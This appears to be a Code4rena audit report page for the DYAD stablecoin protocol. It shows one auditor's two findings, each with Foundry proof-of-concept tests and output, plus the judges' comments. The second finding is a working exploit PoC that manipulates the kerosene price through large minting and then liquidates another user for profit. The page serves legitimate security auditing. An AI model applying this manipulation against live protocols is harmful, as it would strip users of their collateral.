Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 107/183
Findings: 2
Award: $8.59
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xleadwizard, 0xlemon, 0xtankr, 3th, Aamir, Abdessamed, Bauchibred, Circolors, Egis_Security, Evo, Hueber, Mahmud, SBSecurity, TheSavageTeddy, TheSchnilch, Tychai0s, alix40, bbl4de, btk, d3e4, ducanh2706, falconhoof, itsabinashb, ke1caM, lian886, n4nika, oakcobalt, pontifex, sashik_eth, steadyman, tchkvsky, zhuying
3.7207 USDC - $3.72
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L64-L65 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L80-L91
DNFT owner can't add kerosine vault into the vaultsKerosene. So when user deposit kerosine into the kerosine vault, the getKeroseneValue
will be zero. Kerosine in kerosine vault is useless, can't provide the max 50% collateral to mint DYAD.
And beacuse of:
kerosineManager.add(address(ethVault)); kerosineManager.add(address(wstEth));
The exogenous vault can be added to the vaultsKerosene. And the exogenous vault can also be added to the vaults. So the user's collateral value is exaggerate and lead to mint more DYAD than normal case.
Paste code into v2.t.sol:
function testCantAddKerosineVaultTovaultsKerosene() public { address DNFTOwner = 0x3682827F48F8E023EE40707dEe82620D0B63579f; vm.startPrank(DNFTOwner); vm.expectRevert(VaultNotLicensed.selector); contracts.vaultManager.addKerosene(0, address(contracts.unboundedKerosineVault)); vm.expectRevert(VaultNotLicensed.selector); contracts.vaultManager.addKerosene(0, address(contracts.boundedKerosineVault)); vm.stopPrank(); }
Enter the following command in the terminal:
forge test --mt testCantAddKerosineVaultTovaultsKerosene --rpc-url https://eth-mainnet.g.alchemy.com/v2/YOUR_API_KEY
Results:
Ran 1 test for test/fork/v2.t.sol:V2Test [PASS] testCantAddKerosineVaultTovaultsKerosene() (gas: 45368) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.41s (996.41ms CPU time)
manual and foundry
kerosineManager
is used to track the vaults which have exogenous collateral and calculate kerosine price. It shouldn't be used to check the license of kerosine vault.
Create another licenser specifically for check the license of kerosine vault.
Other
#0 - c4-pre-sort
2024-04-29T05:27:25Z
JustDravee marked the issue as duplicate of #70
#1 - c4-pre-sort
2024-04-29T12:01:31Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:58:13Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-13T18:36:27Z
koolexcrypto changed the severity to 2 (Med Risk)
🌟 Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xblack_bird, 0xnev, AM, Al-Qa-qa, AlexCzm, Dudex_2004, Egis_Security, GalloDaSballo, Infect3d, Jorgect, KupiaSec, Ryonen, SpicyMeatball, T1MOH, VAD37, adam-idarrha, amaron, cu5t0mpeo, d3e4, darksnow, forgebyola, foxb868, itsabinashb, jesjupyter, nnez, peanuts, pontifex, wangxx2026, windhustler, zhuying
4.8719 USDC - $4.87
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/staking/KerosineDenominator.sol#L17-L22 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L50-L68
The kerosene price is calculated as follows: When TVL remains relatively constant, minting a large number of tokens leads to kerosene price declines. So some users can be liquidated suddenly. The attack path can be:
MIN_COLLATERIZATION_RATIO
.MIN_COLLATERIZATION_RATIO
. The next moment the whale can liquidate the user and get the partial of user's collateral. Because the whale's collateral are all WETH. His collateral ratio remain unchanged.Modify the VaultManagerV2.sol
a bit(new name: ModifiedVaultManagerV2.sol
):
- if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); + if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed(); - if (keroseneManager.isLicensed(address(vault))) { + if (vaultLicenser.isLicensed(address(vault))) {
Modify the Deploy.v2.s.sol
a bit(new name: ModifiedDeploy.v2.s.sol
):
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Script.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {VaultManagerV2} from "../../src/core/ModifiedVaultManagerV2.sol"; import {DNft} from "../../src/core/DNft.sol"; import {Dyad} from "../../src/core/Dyad.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Vault} from "../../src/core/Vault.sol"; import {VaultWstEth} from "../../src/core/Vault.wsteth.sol"; import {IWETH} from "../../src/interfaces/IWETH.sol"; import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol"; import {KerosineManager} from "../../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol"; import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol"; import {Kerosine} from "../../src/staking/Kerosine.sol"; import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; struct Contracts { Kerosine kerosene; Licenser vaultLicenser; VaultManagerV2 vaultManager; Vault ethVault; VaultWstEth wstEth; KerosineManager kerosineManager; UnboundedKerosineVault unboundedKerosineVault; BoundedKerosineVault boundedKerosineVault; KerosineDenominator kerosineDenominator; } contract DeployV2 is Script, Parameters { function run() public returns (Contracts memory) { vm.startBroadcast(); // ---------------------- Licenser vaultLicenser = new Licenser(); // Vault Manager needs to be licensed through the Vault Manager Licenser VaultManagerV2 vaultManager = new VaultManagerV2(DNft(MAINNET_DNFT), Dyad(MAINNET_DYAD), vaultLicenser); // weth vault Vault ethVault = new Vault(vaultManager, ERC20(MAINNET_WETH), IAggregatorV3(MAINNET_WETH_ORACLE)); // wsteth vault VaultWstEth wstEth = new VaultWstEth(vaultManager, ERC20(MAINNET_WSTETH), IAggregatorV3(MAINNET_CHAINLINK_STETH)); KerosineManager kerosineManager = new KerosineManager(); kerosineManager.add(address(ethVault)); kerosineManager.add(address(wstEth)); vaultManager.setKeroseneManager(kerosineManager); kerosineManager.transferOwnership(MAINNET_OWNER); UnboundedKerosineVault unboundedKerosineVault = new UnboundedKerosineVault(vaultManager, Kerosine(MAINNET_KEROSENE), Dyad(MAINNET_DYAD), kerosineManager); BoundedKerosineVault boundedKerosineVault = new BoundedKerosineVault(vaultManager, Kerosine(MAINNET_KEROSENE), kerosineManager); KerosineDenominator kerosineDenominator = new KerosineDenominator(Kerosine(MAINNET_KEROSENE)); unboundedKerosineVault.setDenominator(kerosineDenominator); + boundedKerosineVault.setUnboundedKerosineVault(unboundedKerosineVault); unboundedKerosineVault.transferOwnership(MAINNET_OWNER); boundedKerosineVault.transferOwnership(MAINNET_OWNER); vaultLicenser.add(address(ethVault)); vaultLicenser.add(address(wstEth)); vaultLicenser.add(address(unboundedKerosineVault)); + vaultLicenser.add(address(boundedKerosineVault)); vaultLicenser.transferOwnership(MAINNET_OWNER); vm.stopBroadcast(); // ---------------------------- return Contracts( Kerosine(MAINNET_KEROSENE), vaultLicenser, vaultManager, ethVault, wstEth, kerosineManager, unboundedKerosineVault, boundedKerosineVault, kerosineDenominator ); } }
Paste the provided code into the test/fork folder:
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import {DeployV2, Contracts} from "../../script/deploy/ModifiedDeploy.V2.s.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ILicenser { function add(address) external; } contract V2Test is Test, Parameters { Contracts contracts; uint256 public constant MIN_COLLATERIZATION_RATIO = 1.5e18; address DNFTOwner = 0xCAD2EaDA97Ad393584Fe84A5cCA1ef3093E45ae4; uint256 NoteId = 441; address DNFTOwner_attacker = 0x3682827F48F8E023EE40707dEe82620D0B63579f; uint256 NoteId_attacker = 0; uint256 AMOUNT = 100 ether; function setUp() public { contracts = new DeployV2().run(); // simulate TVL deal(MAINNET_WETH, address(contracts.ethVault), IERC20(MAINNET_WETH).balanceOf(MAINNET_WETH_VAULT)); deal(MAINNET_WSTETH, address(contracts.wstEth), IERC20(MAINNET_WSTETH).balanceOf(MAINNET_WSTETH_VAULT)); // DFNTOwner have some WETH and WSTETH deal(MAINNET_WETH, DNFTOwner, AMOUNT); deal(MAINNET_WETH, DNFTOwner_attacker, AMOUNT * 2); // DFNTOwner add vault and kerosine vault vm.startPrank(DNFTOwner); contracts.vaultManager.add(NoteId, address(contracts.ethVault)); contracts.vaultManager.add(NoteId, address(contracts.wstEth)); contracts.vaultManager.addKerosene(NoteId, address(contracts.unboundedKerosineVault)); contracts.vaultManager.addKerosene(NoteId, address(contracts.boundedKerosineVault)); vm.stopPrank(); vm.startPrank(DNFTOwner_attacker); contracts.vaultManager.add(NoteId_attacker, address(contracts.ethVault)); contracts.vaultManager.add(NoteId_attacker, address(contracts.wstEth)); contracts.vaultManager.addKerosene(NoteId_attacker, address(contracts.unboundedKerosineVault)); contracts.vaultManager.addKerosene(NoteId_attacker, address(contracts.boundedKerosineVault)); vm.stopPrank(); // DFNOwner have some kerosene deal(MAINNET_KEROSENE, DNFTOwner, AMOUNT); deal(MAINNET_KEROSENE, DNFTOwner_attacker, AMOUNT); // APPROVE vm.startPrank(DNFTOwner); IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), type(uint128).max); IERC20(MAINNET_KEROSENE).approve(address(contracts.vaultManager), type(uint128).max); vm.stopPrank(); vm.startPrank(DNFTOwner_attacker); IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), type(uint128).max); IERC20(MAINNET_KEROSENE).approve(address(contracts.vaultManager), type(uint128).max); vm.stopPrank(); // add vaultManagerV2 to vault manager licenser vm.prank(MAINNET_OWNER); ILicenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager)); } function testManipulateKerosinePriceLeadToLiquiation() public { vm.startPrank(DNFTOwner_attacker); // attacker deposit to vault contracts.vaultManager.deposit(NoteId_attacker, address(contracts.ethVault), AMOUNT * 2); vm.stopPrank(); vm.startPrank(DNFTOwner); // user deposit to vault contracts.vaultManager.deposit(NoteId, address(contracts.ethVault), 0.005 ether); contracts.vaultManager.deposit(NoteId, address(contracts.boundedKerosineVault), 100 ether); // user mint DYAD contracts.vaultManager.mintDyad(NoteId, 15 * 10 ** 18, DNFTOwner); assertGt(contracts.vaultManager.collatRatio(NoteId), MIN_COLLATERIZATION_RATIO); console.log("----------------collateral ratio and kerosine price after user minting----------------"); console.log("user collateral ratio: %e", contracts.vaultManager.collatRatio(NoteId)); console.log("kerosine price:", contracts.unboundedKerosineVault.assetPrice()); vm.stopPrank(); vm.startPrank(DNFTOwner_attacker); // attacker mint DYAD contracts.vaultManager.mintDyad(NoteId_attacker, 400000 * 10 ** 18, DNFTOwner_attacker); assertLt(contracts.vaultManager.collatRatio(NoteId), MIN_COLLATERIZATION_RATIO); console.log("----------------collateral ratio and kerosine price after attacker minting----------------"); console.log("user collateral ratio: %e", contracts.vaultManager.collatRatio(NoteId)); console.log("kerosine price:", contracts.unboundedKerosineVault.assetPrice()); uint256 attacker_nonkerosene_vaule_before_liquidation = contracts.vaultManager.getNonKeroseneValue(NoteId_attacker); uint256 user_nonkerosene_vaule_before_liquidation = contracts.vaultManager.getNonKeroseneValue(NoteId_attacker); console.log("----------------NonKerosene value before liquidation----------------"); console.log("attacker NonKerosene:", contracts.vaultManager.getNonKeroseneValue(NoteId_attacker)); console.log("user NonKerosene:", contracts.vaultManager.getNonKeroseneValue(NoteId)); // attacker liquidate user contracts.vaultManager.liquidate(NoteId, NoteId_attacker); uint256 attacker_nonkerosene_vaule_after_liquidation = contracts.vaultManager.getNonKeroseneValue(NoteId_attacker); uint256 user_nonkerosene_vaule_after_liquidation = contracts.vaultManager.getNonKeroseneValue(NoteId); assertLt(attacker_nonkerosene_vaule_before_liquidation, attacker_nonkerosene_vaule_after_liquidation); assertGt(user_nonkerosene_vaule_before_liquidation, user_nonkerosene_vaule_after_liquidation); console.log("----------------NonKerosene value after liquidation----------------"); console.log("attacker NonKerosene:", contracts.vaultManager.getNonKeroseneValue(NoteId_attacker)); console.log("user NonKerosene:", contracts.vaultManager.getNonKeroseneValue(NoteId)); vm.stopPrank(); } }
Enter the following command in the terminal:
forge test --mt testManipulateKerosinePriceLeadToLiquiatio --rpc-url https://eth-mainnet.g.alchemy.com/v2/API_KEY -vv
Results:
Ran 1 test for test/fork/Modifiedv2.t.sol:V2Test [PASS] testManipulateKerosinePriceLeadToLiquiation() (gas: 1565114) Logs: ----------------collateral ratio and kerosine price after user minting---------------- user collateral ratio: 1.526687466666666666e18 kerosine price: 3434906 ----------------collateral ratio and kerosine price after attacker minting---------------- user collateral ratio: 1.418193866666666666e18 kerosine price: 2621204 ----------------NonKerosene value before liquidation---------------- attacker NonKerosene: 6.4122e23 user NonKerosene: 1.60305e19 ----------------NonKerosene value after liquidation---------------- attacker NonKerosene: 6.41232248869328951173665e23 user NonKerosene: 3.781630671048826334e18 Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 80.52s (37.89s CPU time)
manual and foundry
Kerosene price are relatively easy to manipulate especially when ETH prices experience significant declines, and there are no good suggestions.
Other
#0 - c4-pre-sort
2024-04-28T05:08:28Z
JustDravee marked the issue as duplicate of #67
#1 - c4-pre-sort
2024-04-29T09:17:05Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-08T11:50:05Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-08T12:58:05Z
koolexcrypto marked the issue as nullified
#4 - c4-judge
2024-05-08T12:58:09Z
koolexcrypto marked the issue as not nullified
#5 - c4-judge
2024-05-11T19:25:45Z
koolexcrypto marked the issue as satisfactory